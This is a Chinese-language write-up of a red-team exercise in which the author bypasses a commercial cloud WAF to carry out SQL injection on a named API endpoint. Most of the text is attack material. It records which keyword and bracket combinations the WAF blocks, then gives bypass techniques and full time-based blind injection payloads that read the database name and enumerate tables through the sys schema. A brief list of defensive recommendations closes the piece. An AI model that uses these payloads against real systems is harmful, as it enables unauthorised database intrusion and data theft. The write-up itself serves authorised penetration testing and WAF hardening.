记一次hw中用到的某云waf绕过技巧
字数 1285 2025-09-01 11:25:54
MySQL WAF绕过技巧详解:基于Y函数与函数组合的绕过方法
一、案例背景
在一次HW(网络安全攻防演练)中,发现某云WAF对SQL注入的防护存在可绕过漏洞。通过使用y(point(1,1))函数结合特定语法构造,成功绕过了WAF的检测机制。
二、注入点识别
初始注入点URL结构:
/api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1&page=1&pageSize=10&ts=175082141514&orderBy=1
三、WAF拦截规则分析
1. 基本拦截行为测试
1 or (select)→ 不拦截1 or (select*)→ 拦截1 or (select 0)→ 拦截1 or (select())→ 拦截
结论:WAF拦截select+xx的组合,但不拦截单独的select关键字。
2. 函数拦截测试
sleep(3)→ 拦截benchmark(51111111,1)→ 不拦截substr()→ 拦截user()/database()/version()→ 拦截user/database/version(无括号) → 不拦截
结论:WAF拦截的是关键字+括号的组合,而非关键字本身。
四、关键绕过技术
1. Y函数绕过法
使用y(point(1,1))函数可以绕过WAF检测:
1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/benchmark(51111111,1))x)
2. 时间延迟替代方案
当sleep()被拦截时,使用benchmark()替代:
benchmark(51111111,1)
3. 条件判断构造
加入if判断构造盲注:
if(1=1,benchmark(51111111,1),1)
4. 字符串函数绕过
当substr()被拦截时,使用right(left())组合:
right(left(1,1),1)
5. 函数括号绕过技术
方法一:使用反引号
`version`()
方法二:使用数字注释
/*!12345database*/()
方法三:空格分割
version ()
注意:user ()和database ()可能无法正常执行,但version ()可以。
6. 信息模式表绕过
当information_schema.tables被拦截时:
information_schema→ 不拦截information_schema.x→ 拦截
替代方案:使用sys.schema_auto_increment_columns
select group_concat(table_name) from sys.schema_auto_increment_columns
五、完整注入流程
1. 确认注入点
/api/customerPolicy/selectPolicy?...&orderType=1+or+y(point(1,1))...
2. 时间盲注验证
...orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/benchmark(51111111,1))x)...
3. 条件盲注构造
...orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(1,1),1))=1,benchmark(51111111,1),1))x)...
4. 数据库信息获取
...orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(/*!12345database*/(),1),1))!=1,benchmark(51111111,1),1))x)...
5. 表名枚举
...orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left((select/*!5555555*/group_concat(table_name)/*!12345*/from/*!12345*/(sys.schema_auto_increment_columns/*!12345*/)),1),1))!=1,benchmark(51111111,1),1))x)...
六、技术总结
- Y函数妙用:
y(point(1,1))是不常见但有效的绕过函数 - 函数组合:通过函数组合替代被拦截的单个函数
- 注释技巧:
/*!12345*/数字注释可有效分割关键字 - 系统表替代:当
information_schema被拦截时,使用sys库中的表 - 空格分割:在函数名和括号间插入空格可绕过部分检测
七、防御建议
- 更新WAF规则,加入对
y(point())等非常用函数的检测 - 加强对函数名与括号间空格的检测
- 限制对
sys库的访问权限 - 对所有用户输入进行严格的参数化查询处理
- 定期测试WAF规则的有效性,特别是针对新型绕过技术
此案例展示了即使面对商业WAF,通过深入分析其检测规则并巧妙组合SQL语法,仍可能实现绕过。这强调了多层防御和安全编码实践的重要性。